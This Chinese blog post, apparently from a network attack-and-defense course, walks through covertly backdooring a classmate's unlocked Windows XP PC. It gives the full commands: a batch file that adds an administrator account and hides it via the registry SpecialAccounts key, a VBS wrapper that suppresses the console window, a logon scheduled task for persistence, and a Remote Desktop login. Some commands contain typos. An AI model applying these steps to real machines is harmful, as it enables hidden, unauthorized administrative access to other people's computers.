网络攻防课任务一:创建新账户而登录界面不显示

时间:2024-01-25 10:10:20

网络攻防课任务一:创建新账户而登录界面不显示

一、任务情境

假设你的同学去上厕所了,而他忘记了锁屏,你有一分钟的时间,如何在他的电脑中建立一个账户而不被发现。

 

二、步骤

(一)初次尝试

1、首先打开虚拟机Windows xp professional,在C盘下建立一个new文件夹。在文件夹中创建一个记事本,输入net user cyx cyx /add,点击保存,并且重命名为new.bat,这是批处理文件。然后,点击开始-->所有程序-->附件-->系统工具-->任务计划

 

 

 

任务计划向导-->下一步-->浏览-->找到bat文件-->执行这个任务:选择登录时,然后输入密码(好像不输入密码也可以)

 

 

 

 

 

 

再点击确定就完成了

 

试着重启了一下,

 

 

 

果然没有显示出另一个用户的选项。而且新用户是的确创建了,如图:

但是,开机后会闪一下命令行窗口。

 

 

 

(二)初步改进

直接执行bat文件会有命令行窗口的闪烁,解决方案是借助vbs

VBS是基于Visual Basic的脚本语言。VBS的全称是:Microsoft Visual Basic Script Edition

VBS?用什么开发工具?Notepad(记事本)!

创建的方法和bat一样,先在记事本中输入代码,然后再把扩展名改为vbs即可。

至于代码,如下:

set ws=WScript.CreateObject("WScript.Shell")

ws.Run left(wscript.scriptfullname,instrrev(wscript.scriptfullname,"\")-1) & "\new.bat",0

 

wscript是一个脚本宿主文件,提供了解析以上语句的功能,也叫脚本解析引擎。这句话的意思就是说,创建一个脚本命令窗口,换句话说就好像是打开了命令提示窗口,等待命令的输入。

第一行代码的意思是,生成一个WScript.Shell对象,并赋值给变量 ws
以后就可以用ws变量调用 WScript.Shell中的方法。

第二行中,left(wscript.scriptfullname,instrrev(wscript.scriptfullname,"\")-1)表示的是当前.vbs文件运行的目录比如我的vbs文件在C:\new\vbs.vbs,上面这一串表示的是C:\new

ws.Run left(wscript.scriptfullname,instrrev(wscript.scriptfullname,"\")-1) & "\new.bat",0就表示运行与当前vbs文件处在同一目录下的bat文件——new.bat

按照之前的方法,把这个vbs文件放入任务计划中,同时把任务计划中之前那个bat文件删掉。Win+Rcmdnet user。发现之前建的账户还没删掉。

输入net /del user cyx,再用net user验证一下,的确是删了。

 

 

 

再重启一下,由于计划任务中有vbs程序,所以能够出现一个新账户,又由于是在登录后执行,因此开机登录时不会显示新账户。

 

经验证,通过vbs程序运行bat程序,不会出现命令行窗口闪烁的情况。但是新建的账户没有删除,下次开机时会在账户登录界面显现出来。

 

(三)再次改进

如何让新建的账户不在登录时显现出来呢?

可以用注册表来实现。

搜了一下隐藏用户的方法,

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\ SpecialAccounts\UserList

在右边的窗口中找到账户,比如cyx账户,双击打开编辑DWORD值:0=隐藏账户;1=显示账户→确定。

 

 

 

 

但是怎么把这个操作用代码做出来呢?

打开命令行,输入reg add /?   可以看到所有关于添加注册表项的命令,还配了四个例子。

 

 

 

重新建立一个bat文件,内容为

@ehco off

net user cyx cyx /add

net localgroup administrators cyx /add

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v cyx /t REG_DWORD /d 0

(第五行和第四行是一起的)

 

这个@echo off并不是DOS程序中的, 而是DOS批处理中的。 当年的DOS,所有操作都用键盘命令来完成, 当你每次都要输入相同的命令时, 可以把这么多命令存为一个批处理, 从此以后,只要运行这个批处理, 就相当于打了几行、几十行命令。 DOS在运行批处理时, 会依次执行批处理中的每条命令, 并且会在显示器上显示, 如果你不想让它们显示, 可以加一个“echo off” 当然,“echo off”也是命令, 它本身也会显示, 如果连这条也不显示, 就在前面加个“@”。

然而,我把off改为on,好像没有任何影响。

第二行是添加以cyx为密码的用户cyx(前一个是用户名,后一个是密码)

第三行的意思是将内置的本地服务账户提升为管理员权限。

第四行就是添加注册表项。

 

再重启一下,ok,开机时没有我们新建的账户,只有默认的管理员账户,如图:

 

 

 

三、应用

问:折腾了这么久,这个有什么用呢?

答:可以实现远程登录别人的电脑。

但是这个有个前提,就是连的这台电脑必须连网,还得知道他的IP地址,所以真要实现任务情境中的内容,还得手速快,赶紧在命令行中输入ipconfig,查一下ip地址,然后事了拂衣去,深藏功与名。

示范:

先查找我的虚拟机的ip地址

 

 

 

 

在我主机上打开远程桌面连接

 

 

 

打开后输入要连接的计算机的ip地址。

 

 

 

可能半天都没有一个结果,最后显示无法连接之类的,忘了截图了,场景大家可以想象得到。

解决方法是,在被连接的计算机中右击我的电脑,点击属性,然后再选择远程,如下图所示:

 

 

 

再选择自己创建的用户:

 

 

 

 

 

 

最后点击确定。

完成后,重新连一次,应该可以成功了。 

效果如下:

 

 

 可以全屏,和虚拟机的感觉完全不同。

——————————————————————————————————————————

如有疑问,可在下方留言。